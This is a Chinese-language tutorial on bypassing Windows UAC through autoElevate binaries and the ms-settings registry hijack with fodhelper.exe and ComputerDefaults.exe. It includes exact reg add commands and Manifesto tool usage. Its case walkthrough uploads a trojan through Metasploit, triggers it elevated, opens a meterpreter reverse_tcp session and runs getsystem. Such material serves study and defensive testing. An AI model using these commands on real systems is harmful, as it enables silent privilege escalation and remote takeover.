BypassUAC
用户账户控制(UAC)
定义:用户账户控制(User Account Control,UAC)是微软在Windows Vista中引入的一项安全技术,旨在提高系统安全性。
功能:
-
UAC要求用户在执行可能影响计算机运行的操作(如安装软件或更改系统设置)前进行身份验证。
-
防止未经授权的程序(如蓝牙软件和间谍软件)在计算机上进行安装或更改设置。
安全控制策略:
-
在Windows Vista及以后的版本中,UAC将权限分为三种等级:
-
高等级:具有管理员权限。
-
中等级:具有普通用户权限。
-
低等级:权限有限,旨在减少安全威胁造成的损害。
-
认证要求:
-
在权限不足的情况下,访问系统磁盘根目录、Windows目录以及读写系统登录数据库等操作,都需要进行UAC认证。
白名单程序:
-
部分程序默认在UAC的白名单中。当打开这些程序时,它们会自动获取管理员权限,不会弹出UAC窗口。这些程序的
autoElevate
属性为True,启动时会静默提升为管理员权限。
绕过用户账户控制(UAC)的方法
1、auto Elevate 自动提升权限分析
可以利用某些程序来绕过UAC,主要通过以下步骤实现:
1、程序的Manifest配置
-
每个Windows程序都可以包含一个Manifest文件。
-
如果Manifest文件中的
autoElevate
属性被设置为True,该程序在启动时会自动获取管理员权限。 -
效果:程序可以在不弹出UAC窗口的情况下以管理员身份运行。
2、不弹出UAC窗口
-
具备
autoElevate
属性的程序在运行时不会显示UAC提示窗口,因此用户无法进行确认。 -
这使得用户在不知情的情况下运行了一个具有高权限的程序。
2、利用注册表 Bypass UAC
查询注册表中的键值对
- 某些程序会访问Windows注册表中的`Shell\Open\command`键值对。
- 这个键值对通常存储的是**可执行文件**的路径。
- 当程序启动时,如果找到该键值对,它会执行注册表中定义的命令。
- 绕过UAC的实现:
- 因为该程序是以提升的权限运行的,因此它执行的注册表命令也会以管理员权限运行。
- 如果攻击者将恶意程序的路径写入这个注册表键值对,那么用户在打开某个文件时,系统会执行这个恶意程序,且不会弹出UAC提示。
一些高权限的程序会调用 HKCR:\
下的键值。
流程:
1、修改注册表
-
在
HKEY_CURRENT_USER
(HKCU) 下修改特定的键值,这些键值会同步影响HKEY_CLASSES_ROOT
(HKCR) 下的相应键值。
2、设置命令
-
将特定的键值(如
ms-settings\shell\open\command
)的原有内容修改为cmd.exe
或其他 shell 程序的路径。
3、执行高权限程序
-
当高权限程序(如
fodhelper.exe
或eventvwr.exe
)在运行过程中访问这些修改过的键值时,将以高权限启动指定的程序(如cmd.exe
)。
4、实现 UAC 绕过
-
通过上述步骤,如果高权限程序调用了修改后的注册表键值,就能在没有 UAC 提示的情况下执行恶意代码或命令。
常见的有:eventvwr.exe
、fodhelper.exe
,Computerdefaults.exe
,sdclt.exe
,slui.exe
,cleanmgr.exe
,cliconfg.exe
,schtasks.exe
,mmc.exe
下面以 fodhelper.exe 为例:
-
Path:
C:\Windows\system32\fodhelper.exe
-
REG:
HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f
3、总结
在正常情况下,需要将这两种方法结合起来,才能有效地绕过UAC
带有 autoElevate=True
属性的程序可以在没有UAC提示的情况下以管理员权限运行。如果这些程序在执行过程中读取了修改过的注册表项,它们会以高权限执行该注册表中的命令,而不会弹出UAC确认窗口。
4、权限需求
一般是Administartors组里
-
对于
autoElevate
方法:-
通常需要管理员权限或具有较高权限的用户(如
Administrator
组)来执行这些程序。普通用户(如www-data
)通常无法执行这些程序或修改相关设置。
-
-
对于利用注册表的方法:
-
在一些情况下,可以通过修改
HKEY_CURRENT_USER
下的键值来实现绕过,而不需要管理员权限,但这依赖于您能否访问和修改这些键值。 -
高权限程序(如
fodhelper.exe
或eventvwr.exe
)的存在是必要条件,因为它们会在运行时调用被修改的注册表键值。
-
工具
Manifesto
查询auto Elevate
为True
的程序
g3rzi/Manifesto:从清单中搜索信息 (github.com)
使用方法
查看当前执行策略
Get-ExecutionPolicy
常见的执行策略包括:
-
Restricted:不允许执行任何脚本。
-
RemoteSigned:允许本地脚本执行,下载的脚本需要经过签名。
-
Unrestricted:允许所有脚本运行,下载的脚本会有警告
更改执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
加载源文件
. C:\Users\xxxx\Downloads\Invoke-Manifesto.ps1
运行脚本
Invoke-Manifesto -FolderPath "C:\Windows\system32"
重点关注
-
level(执行权限级别)
-
requireAdministrator: 这是最需要关注的部分。如果
level
被设置为requireAdministrator
,意味着该程序需要管理员权限来运行。 -
asInvoker: 程序以当前用户权限运行,这类程序不会请求提升权限,通常没有UAC绕过的潜力。
-
highestAvailable: 程序会尝试以当前用户的最高权限运行(如果当前用户是管理员,则会尝试获取管理员权限),这也是值得关注的。
-
autoElevate(自动提升权限)
-
autoElevate=true: 这是关键的部分。如果这个属性被设置为
true
,那么程序会自动提升权限,不会弹出UAC提示。这类程序具有绕过UAC的潜力。 -
如果
autoElevate
是空白或false
,则程序不会自动提升权限。
UACMe
hfiref0x/UACME: Defeating Windows User Account Control (github.com)
PowerSploit
PowerShellMafia/PowerSploit:PowerSploit - PowerShell 漏洞利用后框架 (github.com)
案例
信息收集
whoami
net user a1657
发现在管理员组
上传脚本
# MSF模块
upload /opt/Manifesto-master/Invoke-Manifesto.ps1
更改执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
加载源文件
. C:\Users\a1657\Downloads\Invoke-Manifesto.ps1
运行脚本
Invoke-Manifesto -FolderPath "C:\Windows\system32"
以ComputerDefaults.exe
为例
上传木马
# MSF模块
upload /opt/shell.exe
修改注册表
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Users\a1657\Downloads\shell.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f
运行
ComputerDefaults.exe
另一进程监听
handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 9999
getsystem